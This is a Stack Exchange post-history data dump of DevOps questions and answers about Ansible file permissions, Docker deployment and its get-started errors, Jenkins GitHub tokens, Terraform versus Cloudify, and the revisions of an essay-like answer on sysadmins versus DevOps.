  <row Id="16934" PostHistoryTypeId="2" PostId="5333" RevisionGUID="51ecfe1d-b283-4df5-bf17-a0f498f808aa" CreationDate="2018-11-05T14:43:27.917" UserId="10676" Text="I am trying to use the Ansible 'find' module to create a list of files to pass to the 'file' module to change file permissions on files owned by a specific user in a directory that contains files owned my various users.  The Ansible find module does not appear to allow me to use owner or group as search criteria.  There are no other distinguishing factors about the files other than the owner.  Is it possible or would I have to use the 'shell' module instead?&#xD;&#xA;&#xD;&#xA;Thanks All" ContentLicense="CC BY-SA 4.0" />
  <row Id="16935" PostHistoryTypeId="1" PostId="5333" RevisionGUID="51ecfe1d-b283-4df5-bf17-a0f498f808aa" CreationDate="2018-11-05T14:43:27.917" UserId="10676" Text="Ansible Find Module" ContentLicense="CC BY-SA 4.0" />
  <row Id="16936" PostHistoryTypeId="3" PostId="5333" RevisionGUID="51ecfe1d-b283-4df5-bf17-a0f498f808aa" CreationDate="2018-11-05T14:43:27.917" UserId="10676" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16937" PostHistoryTypeId="50" PostId="5123" RevisionGUID="56b687aa-6409-48e9-a8d8-4813978c663d" CreationDate="2018-11-05T17:00:27.913" UserId="-1" />
  <row Id="16938" PostHistoryTypeId="2" PostId="5334" RevisionGUID="9a1ff47a-82e4-4d73-bef8-589eb98a01a0" CreationDate="2018-11-05T17:36:45.150" UserId="7715" Text="You might want to loop [stat](https://docs.ansible.com/ansible/latest/modules/stat_module.html) module with the list of files from the 'find' module. The 'stat' module will provide you with 'pw_name' key which can be used to conditionally run the 'file' module." ContentLicense="CC BY-SA 4.0" />
  <row Id="16939" PostHistoryTypeId="5" PostId="5316" RevisionGUID="24470161-1242-43e4-9a0f-96741ce6a057" CreationDate="2018-11-05T18:22:26.230" UserId="497" Comment="added 2 characters in body" Text="Try [Sparky](https://dev.to/melezhik/sparky---powerful-pocket-size-task-runner-server-in-crontab-style-2ed5). This is a lightweight but powerful alternative to linux crontab. It comes with nice UI to see cronjob reports and statues. You can also run tasks remotely over ssh or through docker. The typical tasks you've mentioned are covered by existing [DSL](https://github.com/melezhik/sparrowdo/blob/master/core-dsl.md) ( written on Perl6 ), for example:&#xD;&#xA;&#xD;&#xA;&quot;Does a file, with a maximum age, exist on some network share?&quot;&#xD;&#xA;&#xD;&#xA;    bash &quot;find file.txt -mmin -10&quot;, %( expect_stdout =&gt; &quot;file.txt&quot; );&#xD;&#xA;&#xD;&#xA;&quot;Does the response-body of a HTTP-request match a specific regex?&quot;&#xD;&#xA;&#xD;&#xA;    http-ok 'http://sparrowhub.org', %( has-content =&gt; 'SparrowHub' );&#xD;&#xA;&#xD;&#xA;And yet if it's not enough it's easy to create extensions.&#xD;&#xA;&#xD;&#xA;PS Sparky only supports linux for now ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16943" PostHistoryTypeId="2" PostId="5336" RevisionGUID="7ac4dd17-9536-4561-b33e-ce8bfb931ac0" CreationDate="2018-11-05T22:04:29.197" UserId="10681" Text="I am going to deploy my app to production on VPS server, using Docker. My goal is stable version from latest tag at `example.com`, and dev version from dev tag at `dev.example.com`.&#xD;&#xA;&#xD;&#xA;Because this is an PHP application, container has own nginx+php set. I don't know how - if it's even possible (without Swoole in PHP etc.) to avoid this.&#xD;&#xA;&#xD;&#xA;Problem is in resources - I see that each app container has own nginx instance, and server (VPS) must have global nginx, working as reverse proxy for containers. &#xD;&#xA;&#xD;&#xA;Is there are any better way to archieve my goals?&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="16944" PostHistoryTypeId="1" PostId="5336" RevisionGUID="7ac4dd17-9536-4561-b33e-ce8bfb931ac0" CreationDate="2018-11-05T22:04:29.197" UserId="10681" Text="Multi-container server of PHP apps with reverse proxy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16945" PostHistoryTypeId="3" PostId="5336" RevisionGUID="7ac4dd17-9536-4561-b33e-ce8bfb931ac0" CreationDate="2018-11-05T22:04:29.197" UserId="10681" Text="&lt;docker&gt;&lt;nginx&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16946" PostHistoryTypeId="2" PostId="5337" RevisionGUID="128dacf4-f602-4604-815e-9ed26195ae68" CreationDate="2018-11-05T22:38:02.503" UserId="10682" Text="If you're on ubuntu or debian, you can grab the following packages from debian testing (buster) &#xD;&#xA;&#xD;&#xA;python3-certbot-dns-digitalocean_0.23.0-2_all.deb python3-digitalocean_1.13.2-1_all.deb" ContentLicense="CC BY-SA 4.0" />
  <row Id="16947" PostHistoryTypeId="2" PostId="5338" RevisionGUID="4495dd18-fa6b-4f6f-8931-8b977406738d" CreationDate="2018-11-06T00:44:19.707" UserId="10683" Text="I have a jenkins job `foo` that works perfectly well. It is authenticated with `jenkins_foo_user`. It is able to clone the repo and checkout the right branch.&#xD;&#xA;&#xD;&#xA;In my codebase, I have another script - `query_github.py` a script used to query Github API to get information such as commits and pull request. To be able to use this API I need an access token.&#xD;&#xA;&#xD;&#xA;I want to be able to use the jenkins user access token to authenticate and access the github credentials. &#xD;&#xA;How do I do this? &#xD;&#xA;Note: Using the Github Enterprise version" ContentLicense="CC BY-SA 4.0" />
  <row Id="16948" PostHistoryTypeId="1" PostId="5338" RevisionGUID="4495dd18-fa6b-4f6f-8931-8b977406738d" CreationDate="2018-11-06T00:44:19.707" UserId="10683" Text="Use jenkins github user credentials to access github api in my script" ContentLicense="CC BY-SA 4.0" />
  <row Id="16949" PostHistoryTypeId="3" PostId="5338" RevisionGUID="4495dd18-fa6b-4f6f-8931-8b977406738d" CreationDate="2018-11-06T00:44:19.707" UserId="10683" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16950" PostHistoryTypeId="2" PostId="5339" RevisionGUID="8b8d05b2-1009-4472-aa08-610187b34496" CreationDate="2018-11-06T02:08:03.410" UserId="10550" Text="I am learning Docker by following the [get started](https://docs.docker.com/get-started/part3/#run-your-new-load-balanced-app) on its official page.&#xD;&#xA;&#xD;&#xA;I got stuck at part 3 when I tried to run &#xD;&#xA;&#xD;&#xA;`docker service ps getstartedlab_web`&#xD;&#xA;&#xD;&#xA;the containers fail to start. Checking the logs reveals this&#xD;&#xA;&#xD;&#xA;`'app.py': [Errno 2] No such file or directory`&#xD;&#xA;&#xD;&#xA;I saw that this issue has been reported elsewhere and the reason was because of the conflict between the `volume` in docker-compose.yml and `workdir` in dockerfile.&#xD;&#xA;&#xD;&#xA;But my docker-compose.yml doesn't have that `volume` property, so what's the problem?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16951" PostHistoryTypeId="1" PostId="5339" RevisionGUID="8b8d05b2-1009-4472-aa08-610187b34496" CreationDate="2018-11-06T02:08:03.410" UserId="10550" Text="Error while following Docker get-started part 3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16952" PostHistoryTypeId="3" PostId="5339" RevisionGUID="8b8d05b2-1009-4472-aa08-610187b34496" CreationDate="2018-11-06T02:08:03.410" UserId="10550" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16953" PostHistoryTypeId="5" PostId="5210" RevisionGUID="083a588a-1377-4535-9707-ab8eb3f397c0" CreationDate="2018-11-06T04:04:49.367" UserId="9404" Comment="added 1714 characters in body" Text="&quot;best suited&quot; is the question. How do you measure this? what are the metrics and why do you choose them? I think you are looking for some kind of &quot;tools combination&quot;, earlier tested on production by someone elses if preferred. What you want to do is try some opensource/free private cloud on premises and run IaC on this private environment.You can test tools forever.How do you compare those tools? I believe all of them works fine as long as there is not any inconsistency problem.I think there is a missing/main part in your search when it comes to IaC.Because there also few options for that missing angle as well.I think it is better to create a chart for all of us as you are going this process in order to benefit people here.Do you have a working environment? If so could you please detail all the tools you used to create this environment?&#xD;&#xA;&#xD;&#xA;Some vendors run open source projects.How about them?&#xD;&#xA; &#xD;&#xA;The Cloud Native Computing Foundation seeks to drive adoption of this paradigm by fostering and sustaining an ecosystem of open source, vendor-neutral projects.[CNCF Cloud Native Definition v1.0][1]&#xD;&#xA;&#xD;&#xA;I started to wonder if this is cloud native then what is it that is not cloud-native?&#xD;&#xA;&#xD;&#xA;I think this is what you are looking for.The distinction between provider and provisioner is blurred.A workflow automation tool should be doing what cloud orchestrator with GUI does.Terraform makes distinction between provider and provisioner but Cloudify removes them as I see it.For an architect designing whole workflow with GUI migth be useful to reach desired state.Writing desired state for which you do DRY tests already to reach beforehand, or showing with graphs.There is something you know already where it goes,since you already tested, seeing it flowing in graphic workflow makes sense? Then go for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There are many ways to break down the types of automation, whether it’s imperative versus declarative, or orchestration versus desired configuration state.&#xD;&#xA;Most orchestrators are fully CLI based, or offer very limited GUI operations.&#xD;&#xA;A distinct advantage here is that Cloudify enables you to one-click your way through architectural relationship diagrams.&#xD;&#xA;[Terraform vs. Cloudify][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A provider is responsible for understanding API interactions and exposing resources. Providers generally are an IaaS (e.g. AWS, GCP, Microsoft Azure, OpenStack), PaaS (e.g. Heroku), or SaaS services (e.g. Terraform Enterprise, DNSimple, CloudFlare).&#xD;&#xA;[Providers ][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Provisioners are used to execute scripts on a local or remote machine as part of resource creation or destruction. Provisioners can be used to bootstrap a resource, cleanup before destroy, run configuration management, etc.&#xD;&#xA;[Provisioners ][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cncf/toc/blob/master/DEFINITION.md&#xD;&#xA;  [2]: https://cloudify.co/2018/10/22/terraform-vs-cloudify/&#xD;&#xA;  [3]: https://www.terraform.io/docs/providers/index.html&#xD;&#xA;  [4]: https://www.terraform.io/docs/provisioners/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16954" PostHistoryTypeId="5" PostId="5210" RevisionGUID="aa41fc92-9ab9-4a75-a9c3-1b5ce9d44d56" CreationDate="2018-11-06T04:11:09.640" UserId="9404" Comment="added 1714 characters in body" Text="&quot;best suited&quot; is the question. How do you measure this? what are the metrics and why do you choose them? I think you are looking for some kind of &quot;tools combination&quot;, earlier tested on production by someone elses if preferred. What you want to do is try some opensource/free private cloud on premises and run IaC on this private environment.You can test tools forever.How do you compare those tools? I believe all of them works fine as long as there is not any inconsistency problem.I think there is a missing/main part in your search when it comes to IaC.Because there also few options for that missing angle as well.I think it is better to create a chart for all of us as you are going this process in order to benefit people here.Do you have a working environment? If so could you please detail all the tools you used to create this environment?&#xD;&#xA;&#xD;&#xA;Some vendors run open source projects.How about them?&#xD;&#xA; &#xD;&#xA;The Cloud Native Computing Foundation seeks to drive adoption of this paradigm by fostering and sustaining an ecosystem of open source, vendor-neutral projects.[CNCF Cloud Native Definition v1.0][1]&#xD;&#xA;&#xD;&#xA;I started to wonder if this is cloud native then what is it that is not cloud-native?&#xD;&#xA;&#xD;&#xA;I think this is what you are looking for.The distinction between provider and provisioner is blurred.A workflow automation tool should be doing what cloud orchestrator with GUI does.Terraform makes distinction between provider and provisioner but Cloudify removes them as I see it.For an architect designing whole workflow with GUI migth be useful to reach desired state.Writing desired state for which you do DRY tests already beforehand, or showing with graphs.There is something you know already where it goes,since you already tested, seeing it flowing in graphic workflow makes sense? Then go for it.To me it is painting the history I do not see the benefit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There are many ways to break down the types of automation, whether it’s imperative versus declarative, or orchestration versus desired configuration state.&#xD;&#xA;Most orchestrators are fully CLI based, or offer very limited GUI operations.&#xD;&#xA;A distinct advantage here is that Cloudify enables you to one-click your way through architectural relationship diagrams.&#xD;&#xA;[Terraform vs. Cloudify][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A provider is responsible for understanding API interactions and exposing resources. Providers generally are an IaaS (e.g. AWS, GCP, Microsoft Azure, OpenStack), PaaS (e.g. Heroku), or SaaS services (e.g. Terraform Enterprise, DNSimple, CloudFlare).&#xD;&#xA;[Providers ][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Provisioners are used to execute scripts on a local or remote machine as part of resource creation or destruction. Provisioners can be used to bootstrap a resource, cleanup before destroy, run configuration management, etc.&#xD;&#xA;[Provisioners ][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cncf/toc/blob/master/DEFINITION.md&#xD;&#xA;  [2]: https://cloudify.co/2018/10/22/terraform-vs-cloudify/&#xD;&#xA;  [3]: https://www.terraform.io/docs/providers/index.html&#xD;&#xA;  [4]: https://www.terraform.io/docs/provisioners/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16955" PostHistoryTypeId="2" PostId="5340" RevisionGUID="30ddb259-ed15-46d4-b1bb-f8d7e0e74d8b" CreationDate="2018-11-06T04:25:49.637" UserId="9404" Text="so what's the problem?   -&gt;         'app.py': [Errno 2] No such file or directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think you already answered your question. The troubleshooting part, you suspect something but you did not test it to see if it is really what you think.&#xD;&#xA;&#xD;&#xA;Create two more files, requirements.txt and app.py, and put them in the same folder with the Dockerfile. This completes our app, which as you can see is quite simple. When the above Dockerfile is built into an image, app.py and requirements.txt is present because of that Dockerfile’s COPY command, and the output from app.py is accessible over HTTP thanks to the EXPOSE command.&#xD;&#xA;[Get Started, Part 2: Containers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/get-started/part2/#dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="16956" PostHistoryTypeId="2" PostId="5341" RevisionGUID="28601b95-80e9-41da-852a-65e9e06a03a8" CreationDate="2018-11-06T04:39:24.887" UserId="9404" Text="&#xD;&#xA;&#xD;&#xA;if the target is a directory, setting this to yes will make it the default acl for entities created inside the directory.&#xD;&#xA;&#xD;&#xA;Select if and when to recalculate the effective right masks of the files, see setfacl documentation for more info. Incompatible with state=query.&#xD;&#xA;&#xD;&#xA;[acl - Sets and retrieves file ACL information][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/acl_module.html#acl-module" ContentLicense="CC BY-SA 4.0" />
  <row Id="16959" PostHistoryTypeId="2" PostId="5344" RevisionGUID="f013be9f-8051-4f53-bf4d-e081c8598e03" CreationDate="2018-11-06T05:20:27.167" UserId="9404" Text="There is gonna be servers which you don t hear them running in data centers. Everything is gonna software.storage,network,systems, security, data centers; SDN,firewalls,NFV,storage,servers etc. sysadmins without a software development background, SDLC experience( I dont even mean scripting perl,powershell etc) will probably vanish.Distributed,scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically. I dare to say sysadmins grow vertical, devops(or opsdev) grow horizontal.You can see the same pattern how microservices evolved from monoliths.I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16960" PostHistoryTypeId="5" PostId="5344" RevisionGUID="1717dfa2-cb95-4092-88ff-ebb52959da3d" CreationDate="2018-11-06T05:31:12.483" UserId="9404" Comment="added 265 characters in body" Text="There is gonna be servers which you don t hear them running in data centers. Everything is gonna software.storage,network,systems, security, data centers; SDN,firewalls,NFV,storage,servers etc. sysadmins without a software development background, SDLC experience( I dont even mean scripting perl,powershell etc) will probably vanish.Distributed,scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically. I dare to say sysadmins grow vertical, devops(or opsdev) grow horizontal.You can see the same pattern how microservices evolved from monoliths. I would rather choose devops engineer from software team not from operations/system team.Because operations/system team just runs what software team builds.Someone from sofware team already knows how to build,maintain even how  to code.(SRE vs devops(opsdev) )&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16961" PostHistoryTypeId="5" PostId="5339" RevisionGUID="3d4d1466-d77a-4b9a-a106-70c2709506e1" CreationDate="2018-11-06T06:15:56.563" UserId="10550" Comment="better reflect problem" Text="I am learning Docker by following the [get started](https://docs.docker.com/get-started/part3/#run-your-new-load-balanced-app) on its official page.&#xD;&#xA;&#xD;&#xA;I got stuck at part 3 when I tried to run &#xD;&#xA;&#xD;&#xA;`docker service ps getstartedlab_web`&#xD;&#xA;&#xD;&#xA;the containers fail to start. Checking the logs reveals this&#xD;&#xA;&#xD;&#xA;`'app.py': [Errno 2] No such file or directory`&#xD;&#xA;&#xD;&#xA;I saw that this issue has been reported elsewhere and the reason was because of the conflict between the `volume` in docker-compose.yml and `workdir` in dockerfile.&#xD;&#xA;&#xD;&#xA;But my docker-compose.yml doesn't have that `volume` property, so what's the problem?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I understand the error message. But I don't know why such an error message was shown. I was able to push/pull and start the container alone with `docker run` (without docker-compose). The problem only arises when I tried to use docker-compose to scale it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16962" PostHistoryTypeId="5" PostId="5344" RevisionGUID="80270878-6efa-4bf2-b2ec-b573407df4db" CreationDate="2018-11-06T06:44:45.973" UserId="40" Comment="fix lots of typos" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting perl, powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or opsdev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. Because operations/system team just runs what software team builds. Someone from sofware team already knows how to build, maintain even how to code (SRE vs DevOps(opsdev) ).&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16963" PostHistoryTypeId="5" PostId="5344" RevisionGUID="25713be4-7378-41d0-a761-b755b122b1a5" CreationDate="2018-11-06T06:53:21.810" UserId="9404" Comment="added 314 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting perl, powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or opsdev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. Because operations/system team just runs what software team builds. Someone from sofware team already knows how to build, maintain even how to code (SRE vs DevOps(opsdev) ).&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? &#xD;&#xA;&#xD;&#xA;For the late question:&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software-defined_storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="16964" PostHistoryTypeId="8" PostId="5344" RevisionGUID="3469be03-70df-40ed-8297-3d6b12c1542d" CreationDate="2018-11-06T06:59:21.397" UserId="40" Comment="Rollback to [1717dfa2-cb95-4092-88ff-ebb52959da3d]" Text="There is gonna be servers which you don t hear them running in data centers. Everything is gonna software.storage,network,systems, security, data centers; SDN,firewalls,NFV,storage,servers etc. sysadmins without a software development background, SDLC experience( I dont even mean scripting perl,powershell etc) will probably vanish.Distributed,scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically. I dare to say sysadmins grow vertical, devops(or opsdev) grow horizontal.You can see the same pattern how microservices evolved from monoliths. I would rather choose devops engineer from software team not from operations/system team.Because operations/system team just runs what software team builds.Someone from sofware team already knows how to build,maintain even how  to code.(SRE vs devops(opsdev) )&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16965" PostHistoryTypeId="5" PostId="5344" RevisionGUID="ac5b8ec4-1074-40fc-a69d-c50813e0cb09" CreationDate="2018-11-06T07:00:03.057" UserId="40" Comment="added 240 characters in body" Text="There is gonna be servers which you don t hear them running in data centers. Everything is gonna software.storage,network,systems, security, data centers; SDN,firewalls,NFV,storage,servers etc. sysadmins without a software development background, SDLC experience( I dont even mean scripting perl,powershell etc) will probably vanish.Distributed,scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically. I dare to say sysadmins grow vertical, devops(or opsdev) grow horizontal.You can see the same pattern how microservices evolved from monoliths. I would rather choose devops engineer from software team not from operations/system team.Because operations/system team just runs what software team builds.Someone from sofware team already knows how to build,maintain even how  to code.(SRE vs devops(opsdev) )&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two?&#xD;&#xA;&#xD;&#xA;For the late question:&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware. Software-defined storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="16966" PostHistoryTypeId="5" PostId="5344" RevisionGUID="6bd0328d-9eb0-47f4-a67f-711e71eb00cd" CreationDate="2018-11-06T07:06:16.477" UserId="9404" Comment="added 314 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting perl, powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or opsdev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds. &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications&#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)&#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)&#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline&#xD;&#xA;&#xD;&#xA;Someone from sofware team already knows how to build, maintain even how to code (SRE vs DevOps(opsdev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between two? &#xD;&#xA;&#xD;&#xA;For the late question:&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][2]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for block, object and file storage providers&#xD;&#xA;[CoprHD][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [2]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [3]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16967" PostHistoryTypeId="5" PostId="5344" RevisionGUID="9addbfe7-7c30-4291-8dac-c666bfb5fac8" CreationDate="2018-11-06T07:15:37.077" UserId="9404" Comment="added 314 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting perl, powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or opsdev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;Someone from the sofware team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;For the late question(This Viernes guy in his comment to my answer asked and deleted his message later, strange, anyway software-defined storage goes below):&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][2]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [2]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [3]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16971" PostHistoryTypeId="5" PostId="5344" RevisionGUID="34fb2e4e-4cc5-4c7b-a5e4-9915a3a82364" CreationDate="2018-11-06T09:37:35.240" UserId="9404" Comment="added 463 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;For the late question(This Pierre.Vriens guy in his comment to my answer asked and deleted his message later, strange, anyway software-defined storage goes below):&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][3]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
